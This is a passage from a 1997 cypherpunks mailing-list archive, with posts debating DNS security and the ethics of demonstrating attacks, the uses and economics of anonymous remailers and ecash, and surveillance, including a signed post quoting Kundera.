given that the Internet is not as seamless and redundant a network as one
might think.

(Yes, I recall the xs4all business last year, and feel that Western
Europe's interconnectedness is currently an anomaly and not the norm, from
a global point of view.)

I would like to know if the general public's use of default DNS servers as
setup or defined by most of the big ISP's would help this kind of control?  

<wandering into areas I know little about>
I imagine that it is harder to block access if one controls routing and
uses direct IP addresses, but considering that a lot of people find sites
to look at via the various search engines; and considering the recent US
rating proposals looking to not include unrated sites in search engines; I
think that the possibility of effective site blocking for most casual
internet users is not that far-fetched.
</wandering into areas I know little about>

A chef my wife knows in Thailand 'lost' some PGP mail coming to him once or
twice, and then got a knock on the door asking him please not to use
encrypted mail anymore:  "... You are free to do whatever you want, but
this is very suspicious activity that you might want to reconsider...." 

FWIW,

Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
"On two occasions I have been asked [by members of Parliament], 
'Pray, Mr. Babbage, if you put into the machine wrong figures, will 
the right answers come out?'  I am not able rightly to apprehend the 
kind of confusion of ideas that could provoke such a question."

FIGHT U.S. GOVT. CRYPTO-FASCISM, EXPORT A CRYPTO SYSTEM!  RSA in PERL:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 1 Oct 1997 06:38:10 +0800
To: "'Adam Back'" <aba@dcs.ex.ac.uk>
Subject: RE: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
Message-ID: <01BCCDCD.6D549220.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





>It really depends how the engineered "infowar disaster" is presented
>in the press, ranging from say:

>	Dr Adam Back, a computer security researcher at Exeter
>	University highlighted a fundamental weakness in DNS security
>	which he demonstrates can be easily exploited.  "This is
>	entirely avoidable", said Back, "the only reason that global
>	infrastructure is left vulnerable, is that the wire-tapping
>	extremists and intelligence special groups are being allowed
>	to jeopardise national security to protect their jobs in their
>	now redundant function in a post-cold war era."

Unfortunately I don't think the above is true.

The secure DNS specs have been circulating in a serious way for
about three years. The main impediment to implementing them has 
been the time taken to completely rewrite the existing BIND code
to make it work. Unfortunately the design of DNS does not encourage
good coding parctice. The easy way to implement is to send out your
request independently of processing the reply.

One might possibly argue that the D-H patent has held matters
up or that the FBI has generally intimidated people. I don't think
this is actually the case however. Certainly Jeff Schiller, the IETF
security director has not been intimidated, he has been handing out
PGP to all commers for some time.


	An anonymous cypherpunk took down half of the internet
	yesterday, with an estimated loss to business of $50 million.
	The cypherpunk hacker terrorist issued a manifesto claiming
	that his motives were to highlight insecurities in the DNS.
	Whether his motives were pure or not, the incident does
	highlight the vulnerabilities in our infrastructure, something
	infowar researchers have been arguing.

And which do you think is going to get published?

Declan might possibly put the second story in rather than the first
(but I would not count on it). But after his editor was finished with it
it would be more like the second. 


>either one I can't see getting me or anyone else in trouble.

Not unless you or they get caught.

>They guy who wrote the SYN flood attack is none the worse for wear, it
>was released in a phrack article, and I don't think there was any
>secret as to who authored the software.

Some of the people who doiwnloaded and used it are in big trouble
though.
>> I suspect I'm not the only person on the list who is responsible 
>> for a service that is a regular hacker target. If I catch someone I 
>> really don't care what the motive for the attack was. I'm going to
>> look to make that person serve jail time.

>Your argument seems to be that if you legislate against OS bugs, that
>they will go away.

That is not what I said. And in any case you probably would not be
continuing the meme that reaction is useless if you knew the origin.

All O/S inevitably have bugs. There is nothing that can be done about
this in most cases. Many vendors simply don't give a hoot about
fixing bugs. Two years ago Sun delivered a machine to me with a 
version of the O/S that didn't recognize the sound or video card. That
was a standard package, completely current O/S and broken out of 
the box. Didn't strike them as the wrong approach. Nothing I could do
but never buy from them again.

If there is a bug in the O/S and the manufacturer is not interested in
fixing it my *only* recourse may be to persecute the perpetrator of
an attack.

That is not my FIRST choice, but it is a choice.

Also most of my systems are designed to give warning long before
an attack succeeds. I don't trust the clowns who put UNIX together
all that much. If there is an attack I want to know as soon as possible
and respond by removing the threat as soon as possible.

I'm not complacent enough to put my trust in the O/S.


>I would point out that the hackers who change your web page, or
>exploit OS bugs you haven't applied patches, and send you taunting
>messages telling what's wrong with your setup, are probably doing you
>a service. 

If I want such a service I will ask.

I built a burgalar alarm into the system. If it goes off I assume that 
someone is robbing the bank. I don't care what their motives are
or were, even if they are able to prove them they can tell them to
the judge, I am simply not interested.

If someone sets off the alarm it costs real money to react. Probably
in the tens of thousands of dollars. 

> If you have something of real value to secure, you'd
>rather know about it from a few harmless hackers, than an industrial
>spy who takes the farm, and covers up his tracks so well that you
>don't even notice.

At present there arn't any secrets on the machine (with the exception
of some heavily encrypted signature keys). In fact the purpose is to 
distribute information. All the logs could be obtained under FOIA in
any case.

The sole concern in the risk model is reputation capital. If the machine
is compromised it is front page news. I want to ensure that does not 
happen. I am simply giving fair notice that I do not consider any attack
'friendly' and that I will react with the maximum force available to me.
I have good reasons for this policy and they have nothing to do with 
complacency.


		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 08:28:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710010018.TAA16914@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 30 Sep 1997 22:52:09 +0200 (MET DST)
> Subject: Re: Remailers and ecash (fwd)
> From: nobody@REPLAY.COM (Anonymous)

> Jim Choate <ravage@ssz.com> wrote:
> 
> > What besides raising hell anonymously, laundering money, and defeating
> > merchant purchase traffic analysis are commercial anonymous remailers
> > good for?
> 
> Avoiding spam.  Anyone who doesn't use remailers is sure to get their
> mailbox full of crap.

Using an anonymous remailer does nothing to reduce spam. It doesn't even
make it harder for them to send it to you, they just don't know who you are;
hardly a requirement for most spam that I have seen.

> Employment related concerns.  I know of many people on this list who
> have had problems along these lines.

How in the world would an anonymous remailer help me get or keep a job?

Are you perhaps refering to whistleblowing? If so, being anonymous will do
nothing in most cases because you have to be willing to stand up and say you
saw what you saw non-anonamously in court. Otherwise the company will just
claim it ain't so and that you are some chicken-shit ex-employee with a
grudge, the DA will buy it too unless you reveal your identity which sort of
defeats the whole point of anonymity.

Now it might be useful for other forms of whistleblowing, ala Pentagon Papers,
where the source is irrelevant except for idle curiosity. But considering the
frequency at which this sort of stuff happens it hardly qualifies as a reason
to stay in business day after day. 

> The rest of your comment is utterly stupid. How many people do you
> know who use remailers to launder money?  Zero, I'd bet.

If it is a commercial remailer using ecash payments then every user is
laundering money - strictly speaking. The point being that with such a
system in place it becomes trivial to anonymously launder your money into
ecash and then using another account turn it back into real money. The nice
thing about this is that you don't loose anything in the process, unlike
regular underground money laundering where you might get 60% return (if you
are lucky and got a big gun). I'll leave it as an excercise to the reader as
to how this can be used to avoid taxes at nearly every level.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Wed, 1 Oct 1997 03:41:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: remailer latencies
Message-ID: <Pine.LNX.3.96.970930191318.151D-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Monty,

Just so you know that the less-than-100-percent message rate doesn't
necessarily mean that messages are getting lost:

Last update: Tue 30 Sep 97 15:09:32 EDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
bureau42 remailer@bureau42.ml.org         -----------+  3:31:14 100.00%

It's a fluke; I just happened to look at this list (by fingering
rlist@anon.lcs.mit.edu) while I'd been on the net for a while, and so no
messages were in transit.  Mere seconds later, the EFGA list showed my uptime
as 99.97% and Raph's list showed a meager 94.08% (it looks like somewhere,
about three days ago, messages got dropped somehwere).

On balance, the remailer network is rather more reliable than you seem to
give it credit for.  (Side note: the more reliable remailers, with bureau42
being a notable exception :) tend to be faster too.  The top remailers as of
_right_now_ all have reliability above 99.90% and delay times less than
twenty-five minutes.  Chain a few of those together and your message will
almost certainly arrive in less than an hour. Few would argue that that's an
unacceptable delay. Messages routinely take longer than that to be delivered,
due to random nameserver burps and other "normal" factors.)

dave (bureau42 gearhead)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 1 Oct 1997 03:10:04 +0800
To: hallam@ai.mit.edu
Subject: Re: sounds just like the snitch you are [was]RE: engineering infowar disasters
In-Reply-To: <01BCCD99.5C581CA0.hallam@ai.mit.edu>
Message-ID: <199709301836.TAA00939@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
> Attila T Hun <attila@primenet.com> writes:
> 
> I never promised any sabateur that I would keep any secret of theirs. I
> have worked with law enforcement and the security services for many
> years. If I catch someone damaging my property or property I am 
> responsible for I call the authorities.

You know, Phill, life is not black and white.

Let's say for the sake of argument that you are admin for a system
which is based on the security of MD4.  Then along comes Boesslaers
and co, and trashes it.  You going to call for him to be locked up?

How about if someone then uses this new cryptanalysis to write some
code which demonstrates the weakness... do you figure they should be
locked up for demonstrating the flaw.  (Note they haven't gone within
a mile of your precious systems).

How about if some cypherpunks used this code to demonstrate that they
could decrypt something which was encrypted by a webserver running on
a machine you are admin for.  Should these cypherpunks also be locked
up?

Perhaps those of us who spent some time a couple of years back
trashing Netscapes browser and server security in various ways should
be grateful that the people at Netscape were a a lot less closed
minded than yourself.  Let me guess .. your response to the
demonstration code showing how to exploit the RNG seed flaw Goldberg &
Wagner found in netscapes browser would be ... "lock them up?"

Jeeze ever heard of "Kerckhoffs principle?"

I can assure you that kerckhoffs principle applies doubly to infowar
attacks, a hostile foreign government is hardly going to be cowed by
your suggestion that you will call the feds if anyone breaks anything
you've got anything to do with.  I can see it now, Sadam Hussien's
hired system-crackers, his inforwar attack team, will really be
quaking in their boots, "better not trash US internet infrastructure
-- that brit Phill Hallam-Barker guy will narc us out".

> If someone is breaking into a bank and someone recognises the theif
> thats not a snitch, thats a hero.

Uh, ok.

> I believe that people who do bad things should go to prison.

Personally I would rather see murderers and rapists locked up than
teenage recreational crackers who go around breaking into poorly
maintained systems for the challenge, but break nothing.

Malicious hacking (breaking and rm -rf'ing the disk) is poor form.
The correct method of informing people of flaws you happen across is
to tell them.  People involved in system cracking do so at their own
risk, but don't over-react man.

I'm kind of wondering if _you_ as the security person who was
responsible for security at the site, feel no responsibility to secure
your systems.  ("Oh don't worry about security, if anyone breaks in
we'll call the feds").

> I completely reject your pseudononymous attempt to posit that there 
> is a 'them and us' and that I somehow have a responsibility towards
> anarchist thugs. When you grow up a bit you will learn that the real
> world is not like your high school.

I would hardly describe a bit of cryptanalysis of infowar risks as the
work of `anarchist thugs'.

Applying said cryptanalysis to in practice take out root DNS might not
be such a friendly thing though.  But hey, if someone does it, the
real people to blame are Freeh and co for hindering use of crypto
techniques to protect the infrastructure.

> People depend on infrastructure. Lives depend on it. 

If people are depending on the internet for mission critical
information, of the sort where people will die quickly if information
isn't getting through, they need their heads examining.  If they have
been advised to use the internet for this kind of information they
need to get better advice.

> If people screw it up someone is likely to be killed. Freeh will
> have a party. Indeed its the sort of thing Nixon might have done on
> purpose to take advantage of the backlash.

Uhh... could you explain the logic there a bit please?

Someone demonstrates that there is a flaw in some internet protcols.
The flaw in the protocols is that there is no cryptographic protection
against DoS attacks.

Freeh will use this to show what?  That they need laws to ban domestic
use of crypto meaning even less protoection against DoS attacks?

I would kind of hope that the military folks into infowar would speak
up and say that more crypto must be used to protect against this type
of attack.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 08:47:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710010039.TAA16972@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Fisher Mark <FisherM@exch1.indy.tce.com>
> Subject: Re: Remailers and ecash (fwd)
> Date: Tue, 30 Sep 1997 11:49:29 -0500

> Jim Choate writes:

> >What would motivate an average consumer to use an anonymous remailer?

> >What besides raising hell anonymously, laundering money, and defeating
> >merchant purchase traffic analysis are commercial anonymous remailers
> good
> >for?

> Well, maybe the avenue to pursue isn't the average consumer, but the
> average employee.  I don't doubt that at least some companies are under
> email traffic analysis by their competitors (and/or their competitor's
> governments) to get a clue about future directions for their products.

Well, speaking from more than a couple of years in the business, most
companies don't take that sort of traffic outside their corporate firewalls.
I can state unequivicaly, working for Tivoli - IBM, that were an employee to
send such confidential email out they would get sacked ASAP (as they should
be) and possibly face criminal and/or civil charges. Besides, it's much
safer to just bribe somebody, that way some eager beaver doesn't stumble
over your tap in a routine maintenance tour.

> I could see where many (eventually most) companies would send email to
> each other using remailers, so that only the companies involved know
> that they communicated with each other.

So you are proposing something like:

  employee emial --> anonymous remailer --> firewall --> Internet

  Intenet --> firewall --> anonymous remailer --> employee2 email

Or,

  employee email --> firewall --> anonymous remailer --> firewall

  firewall --> employee2 email


To be honest, I can't see either one providing any sort of security that
would be advantagous to a business. Not only that but in the second case
the remailer is owned/operated by a third party. How do I know my
competitors aren't running remailers to capture my traffic? The first case
would be much simpler if we simply do away with the remailers and simply
send encrypted email using company distributed software and keys.
  
> Internet email doesn't provide
> the same level of privacy that snail mail, phones, and faxes do now.

You consider snail mail, phones, and faxes secure? You certainly live in a
different world than I do. I personaly consider none of them secure. Hell, I
have all the equipment I need to intercept any and all of these forms of
traffic in my workshop. For less than a thousand bucks you too can have the
necessary equipment.

> With the use of remailers, Internet email could provide more privacy
> than snail mail, phones, or faxes.

Only if we use encryption and/or remailer technology. This crypto technology
is applicable to the other technologies besides email. Otherwise they are all
about equivalent without it, they keep the honest man honest and thats about
it.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 1 Oct 1997 09:20:50 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: Remailer Attack
In-Reply-To: <199709252158.XAA21054@basement.replay.com>
Message-ID: <3.0.3.32.19970930205755.036f75d4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 PM 9/25/97 +0200, Anonymous (Monty Cantsin) wrote:
>What would it take to reduce remailer
>latency to under 60 seconds for most of the remailers?  Do people need
>old 486s to dedicate to the task?  Do they need money?  Better
>software?
>
>If you operate a remailer, please tell us what you need to make it
>really work well.  Perhaps the rest of us can help make it happen.

If Monty would like to send a suitable 486, I'll see to it that it becomes
a remailer.  If you would like to send two 486's, I'll see to it that they
both become remailers and at least one of them has a latency under 60 secs
average.  Donated machines (stuffed with ecash, I hope) may be sent to:

Robert Costner
Electronic Frontiers Georgia
Suite A-205
4780 Ashford-Dunwoody Rd.
Atlanta, GA 30338


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 10:07:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: New Russin Law List (fwd)
Message-ID: <199710010204.VAA17212@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Tue Sep 30 20:42:09 1997
Message-Id: <9709301725.AA13658@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
From: "Alexander V Pavlenko" <lawyer@openmail.irex.ru>
To: <info-russ@smarty.ece.jhu.edu>
Subject: INFO-RUSS: New Russin Law List
Date: Tue, 30 Sep 1997 15:55:44 +0400

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 10:15:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: colocation costs: Re: Remailers and ecash (fwd)
Message-ID: <199710010222.VAA17444@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 30 Sep 1997 16:03:22 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: colocation costs: Re: Remailers and ecash (fwd)

> >>I'm wondering about your co-location machine, from your comments above it
> >>must be sitting in a field since you don't pay rent (or was that your way of
> >>saying somebody else pays the rent for you?). Is this so? Since so many of
> >>your utilities and physical plant are donated I have to question the
> >>accuracy and utility of your figures as well as the applicability of those
> >>figures to a true commercial enterprise.
> 
> Depending on the security, performance, and price you're looking for, 
> you can run your own machine on your own premises, 
> run your own machine in somebody else's colocation facility (either
> as a favor, like anon.efga.org may be, or using a commercial ISP),
> have somebody else run a dedicated machine for you (mostly ISPs),
> buy a shell account on an ISP or other service provider's machine,
> use a free shell account from somewhere, or use an IP-only connection.

I am quite aware of what it takes, it's what I have done using SSZ since
going online to the Internet full time in '92 via modem.

> Sure, free colocation space is nice,

It isn't nice, it's a threat to the utility and security of the remailer.

> for far less than the rent you'd pay for doing the whole job yourself,
> since they have economies of scale by handling multiple colocation
> customers and
> also handling their own servers.   

True, but you take a hit on security if you don't have a personal
arrangement with the provider. It also means you won't be on hand when
the cops come a knocking...better use CFS or something similar. This
will require having some sort of contact point for times when the system
gets rebooted, it's obvious you won't give the pass phrase to the operator.

There are other issues involved like the utility of having a business at 
home and the number of legitimate deductions that can be taken.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 10:46:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Why? (fwd)
Message-ID: <199710010249.VAA17613@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 30 Sep 1997 22:19:09 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Why?

> Jim Choate wrote:

> >> so, and not just for cpunk traffic.  We should use them for
> >> everything.  It won't take that many people to reduce the message
> >> 
> >> The tools exist to do this.
> >
> >Yes, but why would I?

> - From "The Unbearable Lightness of Being" by Milan Kundera
> Part 4, Section 2:
> 
>     It was a program about Czech emigration, a montage of private
>   conversations recorded with the latest bugging devices by a Czech spy
>   who had infiltrated the emigre community and then returned in great
>   glory to Prague.  It was insignificant prattle dotted with some harsh

And your premise is what?

 -  Anonymous remailers would have resolved the Czech issue?

 -  America is currently in the same sort of situation and the use of
    remailers would resolve it?

 -  Anonymous remailers guarantee that such things won't happen in the
    future?

 -  Santyana was right?

Obviously the first two are gibberish. There is absolutely nothing to have
prevented the Czech government (or any other) from setting up anonymous
remailers acting in the role of man-in-the-middle attacks subverting any
conspiracies.

Now the 3rd is clearly unrealistic because the issue is the respect one
human being gives another in regards to their beliefs and the expression
thereof. The problem is a people problem, not technology.

I personaly vote for the 4th option myself. I would like to believe that
through the use of commercial anonymous remailers the concept of anonymity
could become ingrained in a society. That is what would help resolve issues
like the above, not the remailers themselves.

My original question still stands, why would I or any other party choose to
use an anonymous remailer for anything other than the original 3 items I
mentioned previously.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 1 Oct 1997 10:30:30 +0800
To: cypherpunks@cyberpass.net
Subject: AT&T Paper on Digital PCS
Message-ID: <1.5.4.32.19971001015215.0088a220@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Bill Stewart we offer AT&T's white paper
on digital PCS which describes the system in detail
and its security features:

   http://jya.com/digipcs.htm  (70K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 10:57:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Commercial remailer request...
Message-ID: <199710010257.VAA17681@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Since we apparently now have at least one commercial anonymous remailer I
would be interested in the gross cash flow. In short, I would like to know
the general difference (plus/minus and by about how much) between the cost
of the remailer operation versus the actual e-cash income in American dollars
each month. It would also be nice to know the relative ratio between free 
and for-pay submissions. Is the remailer to be advertised, and if so where?

Would it be possible to have such info say submitted to the list for the
next few months?

I want to put one up now that we are moving to a T1 within the next few
weeks but I have to justify it financialy.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Wed, 1 Oct 1997 10:34:03 +0800
To: cypherpunks@Algebra.COM
Subject: USRobotics Palm Pilot and PGP
Message-ID: <199710010219.WAA25642@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi.

Is there anybody that know if there is a PGP compiled for the Palm 
Pilot?  I looked around but didn't find anything.

As I am not, despite Tim's rants  ;-)  , subscribed to CP, would you 
please reply directly to me or to    the    espam@intertrader.com 
mailing list.

Thanks

jfa

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 1 Oct 1997 10:36:49 +0800
To: cypherpunks@cyberpass.net
Subject: Why?
Message-ID: <22bafaa5c7e09b4c690f0fb54d5dd1d6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>> However, it appears that part of the problem with the remailers is
>> that nobody uses them.  We should be making a concerted effort to do
>> so, and not just for cpunk traffic.  We should use them for
>> everything.  It won't take that many people to reduce the message
>> delays substantially.  It will also advertise the remailer network to
>> our friends who may not yet be cypherpunks.
>> 
>> The tools exist to do this.
>
>Yes, but why would I?

- From "The Unbearable Lightness of Being" by Milan Kundera
Part 4, Section 2:

    It was a program about Czech emigration, a montage of private
  conversations recorded with the latest bugging devices by a Czech spy
  who had infiltrated the emigre community and then returned in great
  glory to Prague.  It was insignificant prattle dotted with some harsh
  words about the occupation regime, but here and there one emigre would
  call another an imbecile or a fraud.  These trivial remarks were the
  point of the broadcast.  They were meant to prove not merely that
  emigres had bad things to say about the Soviet Union (which neither
  surprised nor upset anyone in the country), but that they call one
  another names and make free use of dirty words.  People use filthy
  language all day long, but when they turn on the radio and hear a
  well-known personality, someone they respect, saying "fuck" in every
  sentence, they feel somehow let down.
    "It all started with Prochazka," said Tomas.
    Jan Prochazka, a forty-year-old Czech novelist with the strength and
  vitality of an ox, began criticizing public affairs vociferously even
  before 1968.  He then became one of the best-loved figures of the
  Prague Spring, that dizzying liberalization of Communism which ended
  with the Russian invasion.  Shortly after the invasion the press
  initiated a smear campaign against him, but the more they smeared, the
  more people liked him.  Then (in 1970, to be exact) the Czech radio
  broadcast a series of private talks between Prochazka and a professor
  friend of his which had taken place two years before (that is, in the
  spring of 1968).  For a long time, neither of them had any idea that
  the professor's flat was bugged and their every step dogged.
  Prochazka loved to regale his friends with hyperbole and excess.  Now
  his excesses had become a weekly radio series.  The secret police, who
  produced and directed the show, took pains to emphasize the sequences
  in which Prochazka made fun of his friends - Dubcek, for instance.
  People slander their friends at the drop of a hat, but they were more
  shocked by the much-loved Prochazka than by the much-hated secret
  police.
    Tomas turned off the radio and said, "Every country has its secret
  police.  But a secret police that broadcasts its tapes over the radio
  - there's something that could happen only in Prague, something
  absolutely without precedent!"
    "I know a precedent," said Tereza.  "When I was fourteen, I kept a
  secret diary.  I was terrified that someone might read it, so I kept
  it hidden in the attic.  Mother sniffed it out.  One day at dinner,
  while we were all hunched over our soup, she took it out of her pocket
  and said, 'Listen carefully now, everybody!'  And after every
  sentence, she burst out laughing.  They all laughed so hard they
  couldn't eat."

Part 4, Section 4:

    She came out into Old Town Square - the stern spires of Tyn Church,
  the irregular rectangle of Gothic and baroque houses.  Old Town Hall,
  which dated from the fourteenth century and had once stretched over a
  whole side of the square, was in ruins and had been so for
  twenty-seven years.  Warsaw, Dresden, Berlin, Cologne, Budapest - all
  were horribly scarred in the last war.  But their inhabitants had
  built them up again and painstakingly restored the old historical
  sections.  The people of Prague had an inferiority complex with
  respect to these other cities.  Old Town Hall was the only monuyment
  of note destroyed in the war, and they decided to leave it in ruins so
  that no Pole or Germans could accuse them of having suffered less than
  their share.  In front of the glorious ruins, a reminder for now and
  eternity of the evils perpetrated by war, stood a steel-bar reviewing
  stand for some demonstration or other that the Communist Party had
  herded the people of Prague to the day before or would be herding them
  to the day after.
    Gazing at the remains of Old Town Hall, Tereza was suddenly reminded
  of her mother: that perverse need one has to expose one's ruins, one's
  ugliness, to parade one's misery, to uncover the stump of one's
  amputated arm and force the whole world to look at it.  Everything had
  begun reminding her of her mother lately.  Her mother's world, which
  she had fled ten years before, seemed to be coming back to her,
  surrounding her on all sides.  That was why she told Tomas that
  morning about how her mother had read her secret diary at the dinner
  table to an accompaniment of guffaws.  When a private talk over a
  bottle of wine is broadcast on the radio, what can it mean but that
  the world is turning into a concentration camp?
    Almost from childhood, Tereza had used the term to express how she
  felt about life with her family.  A concentration camp is a world in
  which people live crammed together constantly, night and day.
  Brutality and violence are merely secondary (and not in the least
  indispensable) characteristics.  A concentration camp is the complete
  obliteration of privacy.  Prochazka, who was not allowed to chat with
  a friend over a bottle of wine in the shelter of privacy, lived
  (unknown to him - a fatal error on his part!) in a concentration camp.
  Tereza lived in the concentration camp when she lived with her mother.
  Almost from childhood, she knew that a concentration camp was nothing
  exceptional or startling but something very basic, a given into which
  we are born and from which we can escape only with the greatest of
  efforts.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDGcUD7jyGKQlFZpAQGv1ggAg9Vmgpmai4eVBzeA0XwJSaKrnkvCJdKI
KzqNNi/HUaxCMMReCR0xRLZlLz0IXfK71zCOEZib9UbuTWE84X2x2KlpcQgBRrex
IoRXkT5mQ+4GSTvG6CX4ZvLYohiVO+sKXX7m8RQcOqfo1IPYwqikNMixc1Yw4U3l
